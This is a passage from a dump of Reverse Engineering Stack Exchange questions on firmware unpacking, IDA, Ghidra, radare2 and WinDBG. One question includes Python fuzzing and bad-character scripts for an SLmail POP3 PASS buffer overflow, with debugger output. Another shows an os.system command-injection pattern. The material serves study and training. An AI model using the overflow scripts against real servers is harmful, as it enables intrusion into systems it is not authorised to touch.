STR     R3, [SP,#0x258+var_248]
+MOVS    R0, #2
+MVNS    R3, R3
+ADD     R1, SP, #0x258+var_248
+ADD     R2, SP, #0x258+var_240
+STR     R3, [SP,#0x258+var_244]
+BL      Mycipher
+
+But I don't know how I can determine the input arguments type? For example, I put the second argument as const because the cLion suggest me(Not for my knowledge). Or, In this case which line of code that shown above I must consider for input arguments? Now, I think my conversion have some problems(I'm suspicious to my codes) and I like to know how I can fix these problems. +Sorry for eating your time. +Thanks +" +"['elf', 'stack', 'entry-point']"," Title: What is the state of the stack in the entry function?Body: I have an ELF binary and in the entry function the first two instructions are: +
XOR EBP, EBP
+POP ESI
+
+I'm curious what the state of the stack is at the start of the entry function in ELF and PE binaries (and others if possible). +I had thought it was empty but presumably there is something there to be poped. +" +"['firmware', 'unpacking']"," Title: Unpacking or split .BIN firmware for router deviceBody: Sorry for my question, i'm newbie! so i'm trying to split or unpack this file mobile_update.bin, it is an firmware for routeur device. +(Based on qualcomm 9x07 and secureboot device also), i'm trying with 7zip or binwalk but error. Someone says me that it easy to unpack but really, i have a headache to try with my little knwoledge. + +Could you help me or give idea to unpack this please? +Thank you very much ! +link > mobile_update +(sorry for my English is so bad) +" +"['ida', 'disassembly', 'cheat-engine']"," Title: A bit confusion with cheat engine function address and IDA subrutineBody: I have found a function with Cheat Engine that I like to show in IDA:enter image description here + +but the function is not present in IDA. +Probably I have a bit confusion becouse I don't have experience with this tool. +Can you help me ? +Thanks ! +UPDATE: +I have tryed to add image base 400000: +119EDD + 400000 = 519EDD +But 519EDD not exist to IDA: + +There is somthing wrrong ? +" +"['decompilation', 'elf', 'ghidra', 'binary', 'openssl']"," Title: How do i identify parameters function of md5sum of specific binary?Body: So, i downloaded the binary. Here are some details before moving forward: +revbinary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2f0bc3cfa6ec6a297f58ae75f8802bd1b5ef7162, not stripped +
        linux-vdso.so.1 (0x00007fffec358000)
+        libmariadb.so.3 => /lib/x86_64-linux-gnu/libmariadb.so.3 (0x00007f1d76fbe000)
+        libcrypto.so.1.1 => /lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007f1d76cd2000)
+        libzip.so.4 => /lib/x86_64-linux-gnu/libzip.so.4 (0x00007f1d76cb7000)
+        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1d76af2000)
+        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f1d76ad0000)
+        libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f1d76ab3000)
+        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f1d76aab000)
+        libgnutls.so.30 => /lib/x86_64-linux-gnu/libgnutls.so.30 (0x00007f1d768e1000)
+        libbz2.so.1.0 => /lib/x86_64-linux-gnu/libbz2.so.1.0 (0x00007f1d768ce000)
+        /lib64/ld-linux-x86-64.so.2 (0x00007f1d7703c000)
+        libp11-kit.so.0 => /lib/x86_64-linux-gnu/libp11-kit.so.0 (0x00007f1d7679a000)
+        libidn2.so.0 => /lib/x86_64-linux-gnu/libidn2.so.0 (0x00007f1d76779000)
+        libunistring.so.2 => /lib/x86_64-linux-gnu/libunistring.so.2 (0x00007f1d765f5000)
+        libtasn1.so.6 => /lib/x86_64-linux-gnu/libtasn1.so.6 (0x00007f1d765df000)
+        libnettle.so.8 => /lib/x86_64-linux-gnu/libnettle.so.8 (0x00007f1d7659f000)
+        libhogweed.so.6 => /lib/x86_64-linux-gnu/libhogweed.so.6 (0x00007f1d76556000)
+        libgmp.so.10 => /lib/x86_64-linux-gnu/libgmp.so.10 (0x00007f1d764d3000)
+        libffi.so.7 => /lib/x86_64-linux-gnu/libffi.so.7 (0x00007f1d764c7000)
+
+So, as you can see it depends upon libcrypto.so which is i think openssl library. Now debugging a a function called from main, named process_data has this code as ghidra gave with some modification: process_data_code +Now, i know upto md5 part that it get data from message table and stores a row....... So, i came to md5sum part, its passing the variables to md5sum but i dont know what are the functions of md5sum parameters. If it were libc functions like snprintf or fputs i could see manpage or try googling but it didnt give me nice results. This stackoverflow answer + says the first parameter is password, second is length of password +and third is some weird shit. So, if you see the code you will get md5sum has 4 parameters +md5sum(random_mysql_rows_bufarray,mysql_rows_buffer_length & 0xffffffff, filename_ofvarlocal, mysql_rows_buffer_length & 0xffffffff); +Also, that answer says md5sum having 4 parameter isnt openssl md5. I just want to figure out what is the function of those 4 parameters in md5sum. Also if you could explain what is the weird & 0xfffffff thing then it would be great! Here's the binary : reverse binary +Yeah, md5sum takes 4 parameter, got it. +" +"['ida', 'decompilation', 'disassemblers', 'hexrays']"," Title: IDA/HexRays: how do I retrieve the memory address associated with a given line of decompiled code?Body: I'm trying to programmatically link decompiled code generated by HexRays with the disassembly code of a given binary by mapping memory addresses between the two. The mapping exists, as I can see view it through IDA on a case by case basis (see the line of decompiled code in green, associated with the memory address in gold, which lets me reference the disassembly. Clicking through different decompiled source lines links to different memory addresses/sets of disassembly lines). But I can't find any way to get at these associations via scripting (IDC, IDAPython, etc) or via the command line. This strikes me as strange, as I can't imagine that this functionality hasn't been sought out or used before. +My end goal is to be able to read in a set of decompiled code line numbers, then return all the lines of disassembly which map to those decompiled code lines. +Thanks! + +" +['immunity-debugger']," Title: What are C2 & C3 characters in SLmail bad characters?Body: According to this site, there are 3 bad characters in SLmail v5.5 +https://www.whitelist1.com/2016/11/xstack-overflow-1-exploiting-slmail.html +
+To sum it up, there are 3 bad characters that being interpreted +literally by the compiler, their immediate effect consist on +truncating the normal execution of the program. Once removed, the +buffer is executed correctly. +0x00 = Null Byte = terminates a string copy operation. 0x0D = Carriage +Return = resets to the beginning of a line of text. 0x0A = Line Feed = +advances by the space of one line. +
+However, I don't get similar result after removing these 3 characters. +Here is the screenshot of my Immunity. Notice that there are a lot of C2 & C3 characters in it. + +Registers +
EAX 00000000
+ECX 01C89EF0 ASCII "20/10/03 00:25:07 P3-0001: Illegal command 0(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+ESP 01C8A154
+EBP 41414141
+EIP 42424242
+
+Stack +
01C8A148   41414141  AAAA
+01C8A14C   41414141  AAAA
+01C8A150   42424242  BBBB
+01C8A154   04030201  
+01C8A158   08070605  
+01C8A15C   0E0C0B09  ..
+
+Hex dump +
01C8A134  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
+01C8A144  41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42  AAAAAAAAAAAABBBB
+01C8A154  01 02 03 04 05 06 07 08 09 0B 0C 0E 0F 10 11 12  ..
+01C8A164  13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22   !"
+01C8A174  23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32  #$%&'()*+,-./012
+01C8A184  33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40 41 42  3456789:;<=>?@AB
+01C8A194  43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52  CDEFGHIJKLMNOPQR
+01C8A1A4  53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 61 62  STUVWXYZ[\]^_`ab
+01C8A1B4  63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72  cdefghijklmnopqr
+01C8A1C4  73 74 75 76 77 78 79 7A 7B 7C 7D 7E 7F C2 80 C2  stuvwxyz{|}~€Â
+01C8A1D4  81 C2 82 C2 83 C2 84 C2 85 C2 86 C2 87 C2 88 C2  ‚ƒ„…†‡ˆÂ
+01C8A1E4  89 C2 8A C2 8B C2 8C C2 8D C2 8E C2 8F C2 90 C2  ‰ÂŠÂ‹ÂŒÂÂŽÂÂÂ
+01C8A1F4  91 C2 92 C2 93 C2 94 C2 95 C2 96 C2 97 C2 98 C2  ‘’“”•–—˜Â
+01C8A204  99 C2 9A C2 9B C2 9C C2 9D C2 9E C2 9F C2 A0 C2  ™ÂšÂ›ÂœÂžŸ Â
+01C8A214  A1 C2 A2 C2 A3 C2 A4 C2 A5 C2 A6 C2 A7 C2 A8 C2  ¡Â¢Â£Â¤Â¥Â¦Â§Â¨Â
+01C8A224  A9 C2 AA C2 AB C2 AC C2 AD C2 AE C2 AF C2 B0 C2  ©ÂªÂ«Â¬Â­Â®Â¯Â°Â
+01C8A234  B1 C2 B2 C2 B3 C2 B4 C2 B5 C2 B6 C2 B7 C2 B8 C2  ±Â²Â³Â´ÂµÂ¶Â·Â¸Â
+01C8A244  B9 C2 BA C2 BB C2 BC C2 BD C2 BE C2 BF C3 80 C3  ¹ÂºÂ»Â¼Â½Â¾Â¿Ã€Ã
+01C8A254  81 C3 82 C3 83 C3 84 C3 85 C3 86 C3 87 C3 88 C3  ÂÃÄÅÆÇÈÃ
+01C8A264  89 C3 8A C3 8B C3 8C C3 8D C3 8E C3 8F C3 90 C3  ‰ÃŠÃ‹ÃŒÃÃŽÃÃÃ
+01C8A274  91 C3 92 C3 93 C3 94 C3 95 C3 96 C3 97 C3 98 C3  ‘ÒÓÔÕÖרÃ
+01C8A284  99 C3 9A C3 9B C3 9C C3 9D C3 9E C3 9F C3 A0 C3  ™ÃšÃ›ÃœÃÞßàÃ
+01C8A294  A1 C3 A2 C3 A3 C3 A4 C3 A5 C3 A6 C3 A7 C3 A8 C3  ¡Ã¢Ã£Ã¤Ã¥Ã¦Ã§Ã¨Ã
+01C8A2A4  A9 C3 AA C3 AB C3 AC C3 AD C3 AE C3 AF C3 B0 C3  ©ÃªÃ«Ã¬Ã­Ã®Ã¯Ã°Ã
+01C8A2B4  B1 C3 B2 C3 B3 C3 B4 C3 B5 C3 B6 C3 B7 C3 B8 C3  ±Ã²Ã³Ã´ÃµÃ¶Ã·Ã¸Ã
+01C8A2C4  B9 C3 BA C3 BB C3 BC C3 BD C3 BE C3 BF 29 20 69  ¹ÃºÃ»Ã¼Ã½Ã¾Ã¿) i
+01C8A2D4  6E 20 73 74 61 74 65 20 35 00 00 00 00 00 00 00  n state 5.......
+01C8A2E4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
+01C8A2F4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
+
+Update +I was using this code as a reference. +https://github.com/coffeecoco/slmail/blob/master/pop3-pass-fuzz.py +But since that was written for Python 2 and I'm using Python 3, I've modified the code a little bit as they're not really compatible with each other. +script 1 as a fuzzer +
#!/usr/bin/python
+
+import socket
+
+buffer=["A"]
+counter=100
+while len(buffer) <= 30:
+    buffer.append("A"*counter)
+    counter=counter+200
+
+for string in buffer:
+    print("Fuzzing PASS with %s bytes" % len(string))
+    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    connect=s.connect(('127.0.0.1', 110))
+    s.recv(1024)
+    s.send(b'USER wolf\r\n')
+    s.recv(1024)
+    s.send(b'PASS ' + string.encode() + b'\r\n')
+    s.send(b'QUIT\r\n')
+s.close()
+
+script 2 - to identify bad characters +screenshot above was generated with this code +
#!/usr/bin/python
+
+import socket
+
+# \x00, \x0a, and \x0d have been removed
+badCharacters = (
+"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f"
+"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
+"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
+"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
+"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
+"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
+"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
+"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
+"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
+"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
+"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
+"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
+"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
+"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
+"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
+"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
+)
+
+string = "A" * 2606 + "B" * 4 + badCharacters
+
+print("Fuzzing PASS with %s bytes" % len(string))
+s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+connect=s.connect(('127.0.0.1', 110))
+s.recv(1024)
+s.send(b'USER wolf\r\n')
+s.recv(1024)
+s.send(b'PASS ' + string.encode() + b'\r\n')
+s.send(b'QUIT\r\n')
+s.close()
+
+" +"['radare2', 'memory']"," Title: How does radare2 create its memory layout?Body: Firstly Hello, +this is my first post on this forum even though im reading alot here. +Im trying to get into reversing and Low-Level stuff in general lately, and im a bit stuck right here. +I did read alot about the PE-File Format and how virtual memory and loading exes into the memory works. Right now im just reversing/debugging a simple HelloWorld written in C++ to understand whats going on. +Im just looking at it with radare2 and dont really understand what radare does when it opens a file. +I thought its like a hexeditor with additional functionality like disassembly and detecting functions and more. But when im going to address 0x0 in radare2 it doesnt match 0x0 when i look at the file in my hexeditor. More precicly radare2 does seem to set everything apart from a certain area around entry0 to be 0xff. +So my guess is that radare2 is trying to show how the file would look like if its loaded in memory with resolved tables for imported functions and stuff. +The thing is im not really sure what im supposed to google to verify this. Thats why im asking here. +If someone could give me a little bit of insight on what is going on there would make my day. ;) +Thanks in advance. +" +"['windows', 'ollydbg']"," Title: How to find out what stack frame EBP belongs toBody: i'm newbie to all the subject of RE so this question may sound easy. +on OllyDbg i see a lot of references to EBP & i can not understand to which stack frame does EBP belongs to, since there are many pointers to SS: + +" +"['firmware', 'mips', 'firmware-analysis']"," Title: Reverse engineering TP-Link TD-W8961N V3Body: I'm trying to reverse engineering the router's TP-Link TD-W8961N V3 firmware. +After following the same question here +i used the script zynos.py for unpacking the firmware and i got some files +
-rw-r--r-- 1 root root    2048 Sep 30 03:33 CertFile.rom
+-rw-r--r-- 1 root root  350208 Sep 30 03:33 fmmudata
+-rw-r--r-- 1 root root    1024 Sep 30 03:33 headmmu
+-rw-r--r-- 1 root root      28 Sep 30 03:33 HTPCode
+-rw-r--r-- 1 root root   32768 Sep 30 03:33 HTPCode.rom
+drwxr-xr-x 2 root root    4096 Sep 30 15:54 _HTPCode.rom.extracted
+-rw-r--r-- 1 root root    2048 Sep 30 03:33 huffmmu
+-rw-r--r-- 1 root root    1024 Sep 30 03:33 LedDefi
+-rw-r--r-- 1 root root    8192 Sep 30 03:33 LogoImg
+-rw-r--r-- 1 root root    8192 Sep 30 03:33 LogoImg2
+-rw-r--r-- 1 root root    3072 Sep 30 03:33 MemMapT
+-rw-r--r-- 1 root root      28 Sep 30 03:33 RasCode
+-rw-r--r-- 1 root root 1163194 Sep 30 03:33 RasCode.rom
+drwxr-xr-x 2 root root    4096 Oct  1 18:39 _RasCode.rom.extracted
+-rw-r--r-- 1 root root    8192 Sep 30 03:33 RomDefa
+-rw-r--r-- 1 root root    1024 Sep 30 03:33 Rt11nE2p
+-rw-r--r-- 1 root root     512 Sep 30 03:33 SIDList.rom
+-rw-r--r-- 1 root root    4096 Sep 30 03:33 SKUTBL.rom
+-rw-r--r-- 1 root root  245760 Sep 30 03:33 StrImag
+-rw-r--r-- 1 root root    1024 Sep 30 03:33 termcap
+
+I used binwalk to extract the files HTPCode.rom and RasCode.rom. +After looking at the zynos.md, i find more informations about the extracted files +
Memory mapping and objects
+All inspected devices so far contain at least these objects: MemMapT, BootBas, BootExt, RasCode, RomDefa, termcap.
+
+The MemMapT object maps the memory mapping table -- its actual location and size in ROM.
+The BootBas object maps the BootBase code -- the initial program loader for the device. It is not actually contained within the firmware update image, but I have seen a few firmware releases from ZyXEL that contain BootBase update in a separate file. Apart from boot code, BootBase contains vendor and model names. BootBase is rather small, typically 16K, but then, it does not need to do much except loading stage 2.
+The BootExt object maps the BootExtension code -- stage 2 program loader. It also contains rudimentary debugging facilities allowing to recover the device in case of e.g. problems with configuration. BootExtension is responsible to load actual ZyNOS code.
+The RasCode object contains the OS image (named RAS -- acronym?) -- the final stage.
+The RomDefa object contains ROMFILE with default configuration settings.
+The termcap object contains what looks like, well, termcap description. I am not sure this is actually used anywhere in code.
+Objects with unknown contents:
+
+DbgArea
+RomDir2
+Depending on the device, the following objects may be present:
+
+The HTPCode object contains Hardware Test Program, which can be loaded via BootExtension
+
+So the file that containg OS image is RasCode +i used binwalk to get more info about the file +
--------------------------------------------------------------------------------
+1225740       0x12B40C        TP-Link firmware header, firmware version: -24640.27395.-4500, image version: " Co., Ltd.", product ID: 0x65737320, product version: 1349478766, kernel load address: 0x11F50, kernel entry point: 0xEFFFFFFF, kernel offset: 1693673252, kernel length: 4156967956, rootfs offset: 3556796160, rootfs length: 469800426, bootloader offset: 3573675958, bootloader length: 1106012034
+2162096       0x20FDB0        Neighborly text, "neighbor loss) fail"
+2165188       0x2109C4        ZyXEL rom-0 configuration block, name: "autoexec.net", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 8313
+2178704       0x213E90        Neighborly text, "neighbordown: can't shutdown OSPF task completely"
+2189282       0x2167E2        ZyXEL rom-0 configuration block, name: "spt.dat", compressed size: 769, uncompressed size: 259, data offset from start of block: 28805
+2270236       0x22A41C        HTML document footer
+2270553       0x22A559        HTML document header
+2274256       0x22B3D0        XML document, version: "1.0"
+2340561       0x23B6D1        Base64 standard index table
+2353193       0x23E829        ZyXEL rom-0 configuration block, name: "autoexec.net", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 131
+2353305       0x23E899        Copyright string: "Copyright (c) 1994 - 2004 ZyXEL Communications Corp."
+2353358       0x23E8CE        Copyright string: "Copyright (c) 2001 - 2006 TrendChip Technologies Corp."
+2353413       0x23E905        Copyright string: "Copyright (c) 2001 - 2006 "
+2353807       0x23EA8F        ZyXEL rom-0 configuration block, name: "dbgarea", compressed size: 0, uncompressed size: 0, data offset from start of block: 16
+2365690       0x2418FA        eCos RTOS string reference: "ecost"
+2419868       0x24EC9C        SHA256 hash constants, big endian
+2421932       0x24F4AC        Base64 standard index table
+2422880       0x24F860        DES PC1 table
+2422936       0x24F898        DES PC2 table
+2423096       0x24F938        DES SP1, big endian
+2423352       0x24FA38        DES SP2, big endian
+2462937       0x2594D9        ZyXEL rom-0 configuration block, name: "autoexec.net", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 135
+2480824       0x25DAB8        ZyXEL rom-0 configuration block, name: "autoexec.net", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 131
+2521748       0x267A94        Base64 standard index table
+2564056       0x271FD8        XML document, version: "1.0"
+2570560       0x273940        XML document, version: "1.0"
+2571748       0x273DE4        XML document, version: "1.0"
+2572716       0x2741AC        XML document, version: "1.0"
+2577536       0x275480        XML document, version: "1.0"
+2581712       0x2764D0        XML document, version: "1.0"
+2584984       0x277198        XML document, version: "1.0"
+2590372       0x2786A4        XML document, version: "1.0"
+2596352       0x279E00        XML document, version: "1.0"
+2598488       0x27A658        XML document, version: "1.0"
+2605596       0x27C21C        XML document, version: "1.0"
+2622128       0x2802B0        XML document, version: "1.0"
+2631608       0x2827B8        XML document, version: "1.0"
+2640368       0x2849F0        XML document, version: "1.0"
+2641804       0x284F8C        XML document, version: "1.0"
+2654188       0x287FEC        XML document, version: "1.0"
+2674971       0x28D11B        Copyright string: "copyright"
+2684587       0x28F6AB        Copyright string: "copyright" >"
+2786992       0x2A86B0        CRC32 polynomial table, big endian
+2880544       0x2BF420        Copyright string: "Copyright (c) 1996-2010 Express Logic Inc. * ThreadX MIPS32_34Kx/Green Hills Version G5.4.5.0 SN: 3182-197-0401 *"
+
+binwalk -A show that the file have MIPS instructions and the binwalk output before show that it's a RTOS +ThreadX MIPS32_34Kx/Green Hills Version G5.4.5.0 +I tried to load the file into IDA but without success +So my question is how can i work with this RTOS image to understand more about the firmware and find more informations. +The firmware can be downloaded at : https://www.tp-link.com/en/support/download/td-w8961n/v3/#Firmware +Thanks +" +"['decompilation', 'android']"," Title: Understanding how a WiFi camera app goes from packet data to video streamBody: I have a WiFi webcam that I'm trying to get to stream to my computer. I'm able to get the camera to send data to my computer, but I don't know how to decode it. The data consists of 11 1450 byte packets, followed by 1 packet with a variable size, typically about 800 bytes. This pattern repeats about 20 times per second. If I can figure out how to take those packets and turn them into a common media stream that I can open with VLC or the like, I'll be in good shape. +I decompiled the manufacturer's app, DM WiFi. I've been looking through it, and so far the only concrete information I've found is that H.264 is being used, according to in com.joyhonest.wifination.VideoMediaCoder (joyhonest is a manufacturer of WiFi camera modules). I still don't know where the program is reading in the WiFi data, or how it processes it before it becomes the standard H.264 stream (e.g. stripping headers). At this point, I'm hampered by my lack of Java/Android knowledge. For instance, I can find a prototype for the function naWriteport20000, presumably sending data to the camera, whose UDP port 20000 is open. But I can't find a more substantial definition for the function that might help point me towards how data is received. As someone who hasn't written Java in 5 years and who has never touched Android app development, how should I approach dissecting this program? +" +"['firmware', 'firmware-analysis', 'binwalk']"," Title: Why do some firmware binaries have more than 1 file system structuresBody: As I unpack and explore the packing structure of firmware, I am noticing that some firmware will have several file system structures. I can't seem to find any documentation as to why one device may have 1 filesystem structure (ex squashFS) while others can have several structures within the firmware binary. +Why do some vendors seem to do everything in one file system structure, while others use several structures? +" +['protocol']," Title: Modern tools for reversing binary network protocolsBody: What are some modern tools or techniques for attempting to reverse a binary protocol sent over UDP? +I've been trying to do research on this, and it seems like almost everything is obselete. Previous answers on this site and other resources mention a tool called Canape, which seems to no longer be maintained, or the tool netzob, which has not been updated for years. While I did manage to get it running, it doesn't seem to be terribly useful. +Are there any more modern tools which might show with visual aids, repeating patterns and similar things which would aid in reversing an unknown protocol? +" +"['assembly', 'register']"," Title: Why is the offset 16 bits?Body: I was told that segment:offset pairs were used to represent 20 bits. The segment is 4 bit shifted, and the value plus the offset becomes the physical address. I don't have to worry anymore at 32-bit system, but I'm still curious. +
    +
  1. Why were offsets allocated 16 bits, not 4 bits?
  2. +
  3. Is there no problem with many virtual addresses correspond to one physical address?
  4. +
+" +"['ida', 'disassembly', 'binary-analysis', 'ghidra', 'shellcode']"," Title: Statically Reverse Engineering Shellcode - IDA to GhidraBody: I'm trying to follow along with this tutorial which is using IDA in it's example. https://0ffset.net/reverse-engineering/malware-analysis/common-shellcode-techniques/ +Hash: 9d7e34250477acf632c6c32fc2c50d3b +In the example, after decryption of the stage 2 this is the result: + + +When I repeat the same steps with Ghidra I get the following result: + + +I've been following the assembly trying to see if I could figure out what when wrong or what is going on with no results yet. +While searching, I came across these references: +https://c9x.me/x86/html/file_module_x86_id_139.html +https://en.wikipedia.org/wiki/HLT_(x86_instruction) +It would be appreciated if someone could point me in the right direction. +EDIT: +After Paweł Łukasik pointed out my error, it works: + +" +"['debugging', 'binary-analysis', 'radare2', 'crackme']"," Title: Radare2: Running executable from a specific pointBody: I am using radare2 to reverse engineer a standard crackme executable. I have obtained the password, but now I need use the program to read & print a restricted file to which the executable has access. +I can see from the executable's main function through radare2 that there is a "login" section that asks for a password and this then proceeds to execute a system command that prints the restricted file. +However, it seems the program flow skips past this section and terminates the program. +Given an address or a string reference, how can I use radare2 to execute the program from a certain point so that I can avoid skipping it? +From this: +
entry point 0x00000
+|
+|  desired section 0x000c8 "enter password: "
+v
+termination 0x000f9 "no entry"
+
+To this: +
entry point
+|
+|_-> desired section 0x000c8 "enter password: " -> 0x000ca "cat /root/file.txt" -
+                                                                                 |
+termination 0x000f9 <-___________________________________________________________|
+
+
+
+ 
+
+" +"['api-hacking', 'api-reversing']"," Title: APi mocking and redirecting target to localhost apiBody: Suppose I have got an application which sends request (GET,POST) to google.com:1010/api/req
+Is it possible to simulate the api on localhost and redirect requests sent to google.com:1010/api/req to the mimicked api on localhost, something like localhost:1010/api/req?
+Are the any tools to facilitate this process? +" +"['ollydbg', 'x64dbg', 'breakpoint']"," Title: Calling/debugging calls to DLL via ollydbg or x64dbgBody: I have used dependency walker on a DLL of an old game from 2001. I have found a function which I want to be able to analyze. I see the name of the function and the entry point (at the end). + +How do I actually set a breakpoint at this position? Do I figure out where the exe is in memory and then where the DLL has been loaded and then the entry point is the offset from the beginning of this? +Is it also possible to invoke these functions via these tools or can I just debug then when the breakpoints are hit? +" +"['ida', 'debugging', 'remote']"," Title: How to run a process with high privileges using remote debuggingBody: I am using remote debugging with IDA. The target and host machine are Windows.
+I can run the process on the remote machine and debug it with IDA using remote debugging but I need that the process will run with high privileges.
+In IDA I only have the option start the process (F9 or the green play button) but it doesn't run it with high privileges. +How can I do it? +I searched also in the options of the debugger and didn't see such option. +" +"['ghidra', 'java', 'api', 'call']"," Title: Accessing Call String of CALLOTHER Pcode Instruction via Java API?Body: Is there a way to access the call string of a CALLOTHER Pcode instruction when iterating over the Pcode in Java? The listing below shows an example of what I mean: +
048
+                             LAB_0001b034                                    XREF[1]:     0001b024(j)  
+        0001b034 36 7f ff e6     rbit       r7,r6
+                                                      r7 = CALLOTHER "ReverseBitOrder", r6
+
+
+In this example, I'd like to get the string "ReverseBitOrder".
+Unfortunately, there is no hint in the instruction info except for this input object: +
const:0x3c
+
+Which does not translate into the given string and I also cannot click on the string to find a location in memory. +I also looked through the API docs of Pcode, Instruction etc., but did not find anything useful. +" +"['disassembly', 'decompilation', 'law']"," Title: Legality of publishing decompiled codeBody: The situation is the following: + +My question: +What is the legal situation in USA and EU regarding publication of the reverse-engineered source code, e.g. on github? I suppose the art work (gfx and sound) is protected, but what about the source code itself? I see that the reverse-engineered source code of the old Pokemon games has been online for many years, same for the C64 kernal and the Amiga microkernel (exec), but that doesn't mean of course that it is legal to do so. +Note: There have been already a couple of questions on the legal aspects of reverse engineering here, but none of them fits my situation. For example +here, here, or here. +Most of the existing questions are about using reverse-engineered code in your own code. This is not the case here. +" +"['python', 'injection', 'command-line']"," Title: Is command injection using a valid file path possible?Body: My question is theoretical, and not bound to python - but for the sake of simplicity, I'll use Python code snippet. +Let's assume I have the following code: +
import os
+import sys
+
+if os.path.exist(sys.argv[1]):
+    os.system(f"echo {sys.argv[1]}")
+
+Is there a way to do a command injection attack in the scenario when the unsanitized input is a path to a valid file? +" +"['dll', 'ghidra']"," Title: Getting Ghidra project to recognize referenced DLLBody: I am reverse engineering a very old game and when I load up the executable in Ghidra, I see a handful of imported dlls + +I do however not see one of the DLLs the game uses to wrap various client rendering Direct X 7 calls. I have loaded (and analyzed the separate dll) but can't seem to figure out how I can get the game exe to recognize the dll. My hope is (because the DLL has function names that I can see via Dependency Walker), that I can see the calls by name to the DLL. I am able to see them via ollydbg (possibly because the game is running). +Am I missing something? +I found this post here which looks relevant. +I do not see the EXTERNAL identifier, but instead something like this: +iVar3 = (*(code *)FLOAT_006e5188)(param_1[1],iVar3,&local_24); +This is a function pointer pointing towards the function in the DLL. How can I fix this? +" +"['assembly', 'dll', 'game-hacking']"," Title: How do you recommend going for applying minor changes in an executable through a dll?Body: My choice of words in the title might be poor, I apologize: english is not my primary language and I have no idea how to word it better. +I have a game executable to which I applied several changes, changes can be small replacements of integer values here and there, but also jumps to code caves, as well as adding a new section where I could put longer pieces of code. +It is essentially a mod, and I'd like to distribute it without worrying about legality; so in short I'd like to avoid distributing the whole executable and just put all of my changes inside something like a DLL. I have no experience in writing a DLL, but what I understand is that I should be able to compile functions inside the DLL then somehow call them from the executable, and my hope would be that I don't need to modify the executable itself. Can someone confirm this? +So my understanding is that for every change I made in my mod, I should copy the whole functions that contains the changes (available to me as assembly only), then I probably should compile them in the DLL. +Would that be a good way to go about it? +" +"['ida', 'windbg', 'driver', 'debugging-symbols', 'kernel']"," Title: WinDBG doesn't resolve function names when debugging kernel moduleBody: I am debugging a kernel driver. When I set a breakpoint with WinDBG in one of its functions but it doesn't complete the function names while on IDA it shows the names (statically). +Here is a picture of IDA (with the name of the last three functions) and on the right, WinDBG without the name:
+ +I read about similar issue Why doesn't WinDbg resolve the function names? and I tried the suggestion by running: +
.symfix C:\debug\symbols
+.sympath+ C:\debug\mypdbs
+.reload /f
+
+I re-opened the disassembly window and I still don't see the function names. +EDIT (answer to questions): +
    +
  1. Windbg Preview version:
  2. +
+
Debugger client version: 1.0.2007.06001  
+Debugger engine version: 10.0.20153.1000  
+
+
    +
  1. OS version of the guest: Windows 10 x64 1909 (OS Build 18363.1082) +
  2. +
  3. Output of lm m cfs: +
  4. +
+
kd> lm m cfs
+Browse full module list
+start             end                 module name
+fffff800`2abd0000 fffff800`2abd0c00   cfs        (no symbols)    
+
+
    +
  1. The symbol path is set up with:
